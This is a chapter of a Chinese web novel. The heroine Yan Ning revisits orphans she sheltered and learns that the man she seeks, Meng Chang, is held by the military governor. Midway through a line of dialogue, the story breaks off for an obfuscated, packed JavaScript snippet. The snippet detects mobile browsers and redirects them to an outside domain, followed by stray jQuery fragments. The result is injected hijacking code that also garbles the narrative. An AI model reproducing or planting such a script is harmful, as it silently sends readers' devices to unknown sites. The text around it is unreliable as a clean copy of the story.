一座宅院里,十几个人围着晏宁不放,有的还是小小少年的模样,有的如姜蓉一般年岁,他们见到晏宁皆是喜不自胜,拽着她的衣袖吵嚷个不停。
姜蓉笑着将他们赶走,拉着晏宁到一旁坐下。
宅院并不大,能住人的屋舍也不多,多是孩子挤在一处将就着睡,小厨房就在院子左侧,木柴堆置在角落,灶台上摆满锅碗瓢盆,底下似乎还燃着火。
晏宁目光一转,屋顶是用茅草盖的,到了雨天必然漏雨,屋舍窗纸上有洞,处处破败萧条。
她记得自己离开前,并非此番情景。
“宁姐姐喝水。”姜蓉给她倒了杯水,笑道:“今日出门前,原本想着买点甜食,可没想到竟见到姐姐了,这不比任何吃食要甜。”
语气自然熟络,眉眼带笑,与分别前无异。
她绝口不提那些变故。
晏宁低头抿了口水,一时没说话。
“姐姐……怎么了?”
姜蓉看出她的不对劲,小心翼翼问。
宅院中的孩子都是被晏宁所救,并且收留,若没有她,便没有如今身体康健、能跑能跳的他们。
姜蓉微微出神,想起第一次见到晏宁时,她穿着一件粗布麻衣,衣摆处染上红渍,被洗得发皱,看上去像血迹。
那时她与妹妹逃难到临清,腹中饥饿,险些晕倒时,眼前出现了一双鞋。
她们太饿了,晏宁将食物放在面前时,更是顾不得其他,抓起就往嘴里塞。
吃饱喝足后,才拘谨起来,轻声道:“姐姐救了我们,今后若有需要我们的,定会报答。”
可晏宁只是淡淡说了句,“不必。”
她给了她们住所,后来又陆续带来几个同她们一样无家可归的孩子。
晏宁话不多,总能随时将食物和水准备好摆在桌上。
她不知她的来历,却相信她是天底下最好、最善良的人。
只是相处的那段时日,她能察觉到晏宁身上有股濒死的气息,很沉闷、很阴郁。
姜蓉不敢多问,直到晏宁离开。
此次相逢,她觉得眼前女子变了,又好像没变。
“为何不见阿九?”过了片刻,晏宁道。
阿九是姜蓉的妹妹,她们感情十分要好,可从她进来开始,却不见阿九。
姜蓉睫毛微颤,轻声道:“阿九……前些年去到江边,不慎溺水……”
喉头哽了哽,说出这些话已用尽全部力气,她再无法说下去。
晏宁也是没想到,神色一怔。
“找到尸首了吗?”
姜蓉放下手,微微攥紧,垂头不语。
院中孩子们的欢闹声在耳畔响起,印象中她的妹妹也是这般,天真烂漫,即便是在逃难的路上,她也能省吃俭用,留下更多的食物分给她。
可笑她一直以为是有多余的食物,却不曾想是阿九将自己的那份留着,留到下一次给她。
她那么懂事……
半晌,姜蓉道:“找到了。”
她一字一句道。
像是怕她继续问下去,姜蓉转而问道:“姐姐此次回来是有重要之事吗?”
晏宁颔首,看她一眼,直接问:“城中最大的官员是谁?”
姜蓉一愣,“是节度使沈岱。”对于晏宁,她向来有问必答,不问其缘由。
“他可有儿子?”
此话一出,姜蓉放在桌上的手抖了一下,死死抠着桌面。
她面色不自然,垂落的长睫掩去她眼底的异样,像是心中所藏之事不愿叫人发现。
晏宁见她不说话,默不作声地打量她。
“是。”姜蓉低声道:“他有个儿子,叫沈章越。”这个名字从她口中说出,仿佛触及到不为人知的心事,令她浑身紧绷,唇瓣紧抿。
说着,似是意识到什么,慌忙抬头,“宁姐姐,你遇到他了?那、那你……”她站起身,迅速围着晏宁转两圈,见她并无受伤,这才安心落座,“他没伤你吧?”
“放心。”晏宁道:“只是在街上偶然碰到。”
姜蓉刚松口气,只听晏宁再次开口,语声空幽,“他在驯马,伤了众多百姓。”
闻言,姜蓉倒没多大反应,应是习以为常,“沈章越此人,嚣张跋扈,仗着他爹是节度使,做了许多欺男霸女、鱼肉乡里之事。”
顿了顿,她声音又低下去,“人命在他眼中不值一提。”
“看到了,畜生伤人,果真是物以类聚。”
她这一句‘畜生’不知骂的是那马,还是某个人。
姜蓉心情平复下来,“姐姐,你今后可要小心点,他那人什么都做得出来!”
晏宁沉默片刻,手指摸着杯口,像在思考,良久后才道:“蓉儿,你很了解他?”
姜蓉避开眼,看向门外,“自然,这城中谁不了解。”
离开许久,应是发生了一些她不知道的变故。晏宁心细,观她神色便知此事还不小。
但她不愿说,即便她逼问,怕也是得到几句搪塞罢了。
“蓉儿。”眼下她亦有更重要之事,“我此次回来是想打听一人。”
姜蓉回神,“姐姐你说。”
“你可听说过孟家?”
“哪个孟家?”
晏宁开口道:“我只知是个大户人家,孟家公子似乎叫孟昌。”
姜蓉神色一顿,表情很是怪异,“知道是知道,不过怕是来晚了。”
“为何?”
“他犯了事,被人抓了。”
晏宁道:“何人所为?”
树叶簌簌落下,落进宅院,地上已堆积不少叶子。
姜蓉注视着晏宁,缓缓开口:“节度使。”
……
兜兜转转,又绕到此人身上。
从沈章越的性子不难看出他父亲是个怎样的人,别说要人了,只怕她敢出现在节度使府门外,就要被不问缘由地抓入狱中。
原本想着她此行只为找人,不必横生枝节,却没想到第一步便受到阻碍。
那种人一旦招惹,便轻易不得脱困,她需想个万全之策。
不过好在有了线索,孟昌也确在此地。
夜已落幕,呼啸的风吹在身上带了几分凉意。
晏宁坐在屋前石阶上,盯着脚边的石子,轻轻挪动脚尖,石子就被踢远了。
“宁姐姐。”姜蓉走到她身旁坐下,抬头望月,“你在想什么?”
“我在想……明日吃什么?”
姜蓉忍不住笑了,“姐姐何时也开始关心起这些事了?”
晏宁抿唇,“随便想想。”
“对了,你知道孟昌,那你可知他的夫人?”
“夫人?”姜蓉想了想,摇头,“我从未听说过他有什么夫人,妾室
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15731026|174019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒有不少。”
没有夫人……
那霍云清去哪儿了?
晏宁握拳,指尖陷进掌心,按耐住心底的浮躁。
“你可知孟昌被关在何处?”
若是县衙,倒还有几分把握,但若是节度使府上……
但事事往往不如她所意,“沈岱府上。”
手指一松,心头却更加郁闷了。
“夜深了,回去睡吧。”
姜蓉点头,起身后却见晏宁并无入屋的打算,她疑惑问:“宁姐姐,你不睡吗?”
“我还有事出去一趟。”
晏宁办事自有原因,即便是从前,她也常常消失无踪,几日后又突然出现,她也从不会过问。
闻言,姜蓉道:“那你小心。”
晏宁已走到门口,不知听没听到这句话,微微侧头,身影渐渐模糊起来,她站在暗处,而姜蓉立在屋中,同样身处黑暗,月色照不到她们身上,咫尺的距离,却又始终无法跨越。
临清的深夜更是安静,家家户户大门紧闭,没有一人敢在外逗留。
树上叶子枯黄,成片成片地掉落。
晏宁盯着脚下的影子,走到一处后,突然驻足。
她没回头,四下无人,像在喃喃自语,“你既顺路来了,不妨再顺路做件事吧?”
身后树影婆娑,微微晃动。
墙上的影子多了一个。
“你怎知我在?”含笑的语声让这夜里多了些暖意。
“不是顺路吗?”晏宁慢慢转身,盯着身前男子,“我猜,这里也是公子的路。”
这话说得有些暧昧了。
夜色幽幽,清风拂过,女子的发带随风而飘,寂寥的长夜变得朦胧起来。
二人目光相撞,谁也没落下风。
“你要我做什么?”
听到这句话,晏宁莞尔,暗淡的月光下,如嫩芽初生,含苞待放,谢鹤明瞧得真切,心头为之动荡。
翌日天光大亮,晏宁用完朝食,就出了门。
她没走几步,身后有人追过来。
“宁姐姐,这个给你。”姜蓉摊开手,手心赫然躺着一个荷包,荷包针脚平整细密,可见绣工,“这里面放着我去寺里求来的平安符。”她笑道:“愿姐姐此后一帆风顺,逢凶化吉。”
晏宁接过,还不等她说什么,姜蓉便转身走了。
她又在原地站了会儿,才往节度府走去,隔着一段距离,她正巧撞见谢鹤明被人恭恭敬敬地邀进去。
在入府前一瞬,那双眼眸朝此处望来,晏宁迅速侧身往后巷中走去。
“七姑娘。”元青朝她行礼,将一个包裹递给她,“公子说你要的东西都在里面。”
晏宁伸手接过,翘起唇角,“替我谢谢你家公子。”
不知是不是元青的错觉,他觉得七姑娘说话的语气很怪。
但公子交代的事还没办完,他又道:“七姑娘随我来。”
他将晏宁带到巷子中一处荒僻的角落,这里杂草丛生,足足有一面墙那么高,他伸手拨开草垛,露出里面的一个洞。
晏宁嘴角抽动两下。
“这就是他说的办法?”仔细听,还有一丝咬牙切齿的味道,“……狗洞?”
元青讪讪笑了两声,“七姑娘见谅。”
再看一眼这个洞,晏宁扯了扯唇角,“我会好好感谢他的。”